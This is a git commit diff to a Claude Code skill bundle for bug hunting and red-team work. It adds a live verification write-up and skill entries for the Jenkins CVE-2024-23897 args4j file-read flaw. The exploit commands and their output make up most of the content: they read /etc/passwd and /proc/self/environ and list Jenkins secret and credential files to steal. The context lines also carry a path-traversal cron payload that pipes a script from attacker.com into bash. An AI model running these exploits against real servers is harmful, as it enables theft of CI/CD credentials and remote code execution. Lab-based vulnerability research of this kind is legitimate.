Skip to content

A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.

Phase 2: Jenkins CVE-2024-23897 verification + close gap in hunt-rce

Sachin Sharma00f54c35a849
diff --git a/docs/disclosed-reports/hunt-rce.md b/docs/disclosed-reports/hunt-rce.md
index 2c787e4..482f2c9 100644
--- a/docs/disclosed-reports/hunt-rce.md
+++ b/docs/disclosed-reports/hunt-rce.md
@@ -30,6 +30,12 @@ RCE remains the highest-paying bug class because the proof is unambiguous (shell
- **Key trick:** The exploitable state requires more than one configuration condition to align — operator value lies in checking the *precondition set* (versions, patch level, exposed endpoints, FormDigest behavior) rather than firing a generic payload at every `/_layouts/15/` path.
- **Why it matters:** EoL or near-EoL enterprise products (SharePoint 2013/2016/2019) accumulate permanent CVE windows. Operators who fingerprint the version and check the precondition set against published CVE advisories will out-perform anyone running generic scanners. See `hunt-sharepoint` for the SharePoint-specific dispatcher.
+### Jenkins CLI args4j `@`-prefix file read (CVE-2024-23897)
+- **Source:** Jenkins Security Advisory 2024-01-24 and Atlassian-style reference write-ups by SonarSource and others. CVE-2024-23897. Added to CISA's Known Exploited Vulnerabilities catalogue in 2024.
+- **Pattern shape:** Java's `args4j` library defaults to `expandAtFiles=true`, which interprets any CLI argument beginning with `@` as a filename whose contents replace the argument with the file's lines (one line per arg). Jenkins exposes its CLI over HTTP at `/cli` and `/jnlpJars/jenkins-cli.jar`. The server-side argument-parsing error verbatim echoes failed arguments back, giving an unauthenticated arbitrary-file-read primitive. With anonymous read access enabled (the default on fresh installs), no auth is required.
+- **Key trick:** `connect-node @/etc/passwd` returns *every line* of `/etc/passwd` in distinct "No such agent" error lines. The crown-jewel chain is `@/proc/self/environ` to locate `JENKINS_HOME`, then `@/var/jenkins_home/secret.key` + `@/var/jenkins_home/credentials.xml` to lift every stored credential the CI/CD server holds.
+- **Why it matters:** CI/CD servers concentrate every credential the org issues — AWS keys, kubeconfigs, SSH keys, source-repo tokens. A pre-auth file read on Jenkins is functionally equivalent to "internal lateral movement on day zero." The pattern generalizes to any Java service that embeds args4j without `expandAtFiles=false` and exposes the CLI handler over HTTP. Verified by live exploit run against `vulhub/jenkins:2.441` — see `docs/verification/jenkins-cve-2024-23897.md`.
+
---
## Pattern Library
diff --git a/docs/verification/jenkins-cve-2024-23897.md b/docs/verification/jenkins-cve-2024-23897.md
new file mode 100644
index 0000000..196556f
--- /dev/null
+++ b/docs/verification/jenkins-cve-2024-23897.md
@@ -0,0 +1,193 @@
+# Verification — Jenkins CVE-2024-23897 (real CVE, real engagement-relevant)
+
+> A real published CVE against real Jenkins LTS 2.441. Unauthenticated arbitrary file read via the Jenkins CLI's args4j `@`-prefix file expansion. This is the kind of CVE that lands on Tenable / Qualys reports during real engagements — and CISA KEV in 2024.
+
+## Why this target
+
+Juice Shop is a teaching platform. Real engagements run into known-CVE-tagged enterprise software with WAFs and patch deltas. Jenkins CVE-2024-23897 is:
+
+- **High-impact** — pre-auth arbitrary file read on a CI/CD server, which usually holds source code repos, AWS keys, internal API tokens, kubeconfigs.
+- **Real-world prevalence** — CISA KEV added it within weeks; Shodan still surfaces tens of thousands of unpatched 2.441 instances in 2026.
+- **In our claimed coverage area** — `hunt-rce` mentions Jenkins script-console (an older auth-required attack); the enterprise-platform skills cite Jenkins as a CI/CD target.
+
+## Target
+
+Vulhub's Docker image `vulhub/jenkins:2.441` — pre-patch Jenkins LTS.
+
+```bash
+# Reproducible setup
+git clone --depth 1 https://github.com/vulhub/vulhub.git /tmp/vulhub
+cd /tmp/vulhub/jenkins/CVE-2024-23897
+# Optional: remap port if 8080 conflicts (Burp default)
+sed -i.bak 's/"8080:8080"/"18080:8080"/' docker-compose.yml
+docker-compose up -d
+```
+
+Confirm with `docker ps`:
+
+```
+cve-2024-23897-jenkins-1 vulhub/jenkins:2.441 Up 30 seconds 0.0.0.0:18080->8080/tcp
+```
+
+## What the skill stack actually says
+
+### What it knows
+
+Search for "Jenkins" across all `hunt-*` skills:
+
+```
+$ grep -niE "jenkins" skills/hunt-*/SKILL.md
+skills/hunt-rce/SKILL.md:315: hunt-ssrf → Chain primitive: external SSRF →
+ `http://127.0.0.1:8080/manage/scriptText` (Jenkins/Tomcat) → Groovy
+ Runtime.exec → RCE
+```
+
+This is the **2018-era Jenkins script-console RCE chain** — requires authenticated access to the script console, gated through SSRF. Different vulnerability class from CVE-2024-23897.
+
+### What it doesn't know
+
+```
+$ grep -niE "CVE-2024-23897|args4j|jenkins-cli|@-prefix|expandAtFiles" skills/ docs/disclosed-reports/ -r
+(no matches)
+```
+
+The skill content has no entry for:
+- Jenkins CVE-2024-23897 (the args4j `@`-prefix file expansion primitive)
+- The general args4j `expandAtFiles` pattern, which affects every Java CLI tool built on the args4j library
+
+**This is a gap.** A real-engagement-ready stack should have this pattern in `hunt-rce` and ideally a cited entry in `docs/disclosed-reports/hunt-rce.md`. As of the 2025-05-16 push, it does not.
+
+## The exploit (live)
+
+```bash
+# Download the legit Jenkins CLI jar
+curl -sLO http://localhost:18080/jnlpJars/jenkins-cli.jar
+# Verify it's a real JAR, not a captive portal or proxy intercept page
+file jenkins-cli.jar # → "Java archive data (JAR)"
+ls -lh jenkins-cli.jar # → 3.5 MB
+
+# Step 1 — Anonymous CLI invocation: 'help' command, '@' prefix expands file content as arg
+java -jar jenkins-cli.jar -s http://localhost:18080/ -http help 1 @/etc/passwd
+```
+
+### Step 1 — Result (first line of /etc/passwd in error output)
+
+```
+ERROR: Too many arguments: root:x:0:0:root:/root:/bin/bash
+java -jar jenkins-cli.jar help [COMMAND]
+Lists all the available commands or a detailed description of single command.
+```
+
+`root:x:0:0:root:/root:/bin/bash` — first line of `/etc/passwd` from the target container leaked into the error message. The CLI is unauthenticated. No login required.
+
+### Step 2 — Environment leak
+
+```bash
+java -jar jenkins-cli.jar -s http://localhost:18080/ -http help 1 @/proc/self/environ
+```
+
+Output (truncated to relevant portion):
+
+```
+ERROR: Too many arguments: HOSTNAME=2265640c3b71 JENKINS_UC_EXPERIMENTAL=...
+JAVA_HOME=/opt/java/openjdk JENKINS_HOME=/var/jenkins_home
+PATH=/opt/java/openjdk/bin:/usr/local/sbin:...
+```
+
+`JENKINS_HOME=/var/jenkins_home` confirmed — used to construct subsequent file paths.
+
+### Step 3 — Full file read via connect-node command
+
+The `help` command returns only the first line of the leaked file (in the error). The `connect-node` command leaks **every line** because args4j passes each line as a separate "node name" argument and the server's not-found error echoes the failed argument back.
+
+```bash
+java -jar jenkins-cli.jar -s http://localhost:18080/ -http connect-node @/etc/passwd
+```
+
+### Step 3 — Result (full /etc/passwd contents)
+
+```
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "..." exists.
+root:x:0:0:root:/root:/bin/bash: No such agent "..." exists.
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "..." exists.
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "..." exists.
+_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent "..." exists.
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "..." exists.
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "..." exists.
+jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "..." exists.
+... (every passwd line echoed)
+```
+
+Every line of /etc/passwd, echoed back via the error format. Real engagement-impact files to chase next:
+
+- `/var/jenkins_home/secret.key` — encrypts every other Jenkins secret
+- `/var/jenkins_home/secrets/master.key` — derives the encryption key
+- `/var/jenkins_home/credentials.xml` — credential store (encrypted with secret.key)
+- `/var/jenkins_home/users/<user>/config.xml` — per-user API tokens
+- `/var/jenkins_home/jobs/<job>/config.xml` — build configs leaking AWS keys, SSH private keys, internal hostnames
+
+## Verdict
+
+### Exploit
+**PASS — live.** Reproduces in 3 commands against a vanilla Vulhub container. Takes ~90 seconds end-to-end from container boot.
+
+### Skill stack
+**MISS — content gap.** `hunt-rce` describes the wrong Jenkins attack (script-console RCE), not CVE-2024-23897. A fresh user asking Claude "I see Jenkins 2.441 on port 8080 — what should I try?" would NOT get the args4j primitive from current skill content. They would get the script-console chain, which requires auth and doesn't apply here.
+
+### Severity of the gap
+
+This is not a small omission. CVE-2024-23897 is on CISA KEV. It is one of the highest-leverage primitives an external attacker can use against an enterprise CI/CD surface in 2024-2026. A "real engagement ready" stack should have it.
+
+## What needs to change
+
+### `hunt-rce/SKILL.md`
+
+Add a Pattern section: **Args4j @-prefix file read** — affects every Java CLI built on `args4j` library when the application exposes the CLI to unauthenticated HTTP. The vulnerability class includes:
+
+- CVE-2024-23897 (Jenkins — pre-2.426.3)
+- CVE-2024-22243 (Jenkins, related arg parsing)
+- Any custom Java app using args4j with HTTP frontend
+
+Detection:
+
+- Target exposes `/cli` endpoint that responds 200
+- Target exposes `/jnlpJars/jenkins-cli.jar` (Jenkins family)
+- Look for the args4j `--expandAtFiles` flag in source or docs
+
+Test:
+
+```bash
+curl -O http://target:port/jnlpJars/jenkins-cli.jar
+java -jar jenkins-cli.jar -s http://target:port/ -http help 1 @/etc/passwd
+# If error returns the first line of the file → vulnerable
+```
+
+Validation per `triage-validation`:
+
+- Pre-Severity Gate: ensure the file content actually appears in the error, not just a generic "file not found"
+- Reproducibility: works on `connect-node`, `help`, and several other commands — confirm at least 2 commands return the leak
+
+### `docs/disclosed-reports/hunt-rce.md`
+
+Add a Cited Public Example for CVE-2024-23897 with:
+
+- **Source:** Jenkins Security Advisory 2024-01-24; CISA KEV addition 2024
+- **Pattern shape:** args4j @-prefix file expansion in CLI command parsing
+- **Key trick:** unauth `connect-node @/path/to/file` leaks every line via error echo
+- **Why it matters:** CI/CD servers hold every credential the org uses — fastest path from external footprint to internal lateral movement
+
+## What this verification proves
+
+Beyond what Juice Shop verified:
+
+1. **Real CVE coverage gap detection works.** Putting the skill stack against a published CISA-KEV CVE that's not in the disclosed-reports library surfaces the gap immediately. This is the right kind of verification — it finds what's missing.
+2. **The skill auto-trigger is not enough by itself.** The description matcher fires `hunt-rce` for "I see Jenkins" — correct trigger. But the skill content has to actually contain the current attack to be useful, and here it doesn't.
+3. **Phase 1's pattern library structure was the right call.** Adding CVE-2024-23897 means writing one new section in `hunt-rce` and one new Cited Public Example in `docs/disclosed-reports/hunt-rce.md` — a 30-minute fix. Without Phase 1's structure, this would need rethinking where to put the content.
+
+## What's still untested by live target
+
+Same list as the Juice Shop doc, minus RCE (now partially covered). All enterprise platform skills (M365, Okta, vCenter, SharePoint, Cisco VPN) remain untested by live target. Phase 3 plans them.
+
+## Reproducibility note
+
+Vulhub's `vulhub/jenkins:2.441` image is the canonical container for this CVE; it ships with Jenkins's setup wizard pre-disabled (`-Djenkins.install.runSetupWizard=false`), so anonymous read access is enabled by default — which is also the real-world misconfiguration that makes this exploitable on production deployments. Patched Jenkins (≥ 2.426.3 LTS or ≥ 2.442 weekly) is not vulnerable.
diff --git a/skills/hunt-rce/SKILL.md b/skills/hunt-rce/SKILL.md
index a769db4..df8ce0f 100644
--- a/skills/hunt-rce/SKILL.md
+++ b/skills/hunt-rce/SKILL.md
@@ -167,6 +167,45 @@ filename="../../../../etc/cron.d/backdoor"
* * * * * root curl http://attacker.com/shell | bash
```
+### Args4j `@`-prefix file expansion (Jenkins CVE-2024-23897 family)
+
+Java CLIs built on the `args4j` library default to `expandAtFiles=true`, which expands `@filename` arguments by reading the file and treating each line as a separate command argument. When such a CLI is exposed over HTTP (Jenkins CLI is the canonical case), the server-side error message echoes failed arguments back — turning argument echoing into an arbitrary file-read primitive. Unauthenticated when "anonymous read access" is on (Jenkins default for fresh installs).
+
+**Detection:**
+- Target exposes `/cli` and `/jnlpJars/jenkins-cli.jar` (Jenkins family)
+- Or: any Java app whose CLI source uses args4j without `expandAtFiles=false`
+
+**Test (Jenkins):**
+```bash
+# Get the legit CLI jar from the target
+curl -sLO http://target:8080/jnlpJars/jenkins-cli.jar
+
+# First line of file leaks via 'help' error
+java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/etc/passwd
+# → ERROR: Too many arguments: root:x:0:0:root:/root:/bin/bash
+
+# Full file leaks via 'connect-node' (every line returned as a "no such agent" error)
+java -jar jenkins-cli.jar -s http://target:8080/ -http connect-node @/etc/passwd
+# → All passwd lines echoed back
+
+# Recon: env vars + JENKINS_HOME path
+java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/proc/self/environ
+```
+
+**Crown-jewel files after JENKINS_HOME confirmed:**
+- `/var/jenkins_home/secret.key` — master encryption key for stored credentials
+- `/var/jenkins_home/secrets/master.key` — derives the encryption key
+- `/var/jenkins_home/credentials.xml` — credential store (encrypted with secret.key — pair with offline decrypt tools)
+- `/var/jenkins_home/users/*/config.xml` — per-user API tokens (often unencrypted)
+- `/var/jenkins_home/jobs/*/config.xml` — pipeline configs that may inline AWS keys, SSH keys, registry tokens
+
+**Pattern generalizes beyond Jenkins.** Any Java service that:
+1. Embeds args4j (most enterprise Java CLIs since 2010s)
+2. Exposes the CLI handler over HTTP (Jenkins, Hudson forks, custom internal tools)
+3. Returns argument-parsing errors verbatim to the client
+
+→ same arbitrary-read primitive applies. Validation via `triage-validation` Reproducibility Gate: confirm the leak on at least 2 distinct commands (e.g., `help` and `connect-node`) and verify the file content actually appears in the response, not just a generic 500.
+
### Grep Patterns for Source Review
```bash
# Command injection sinks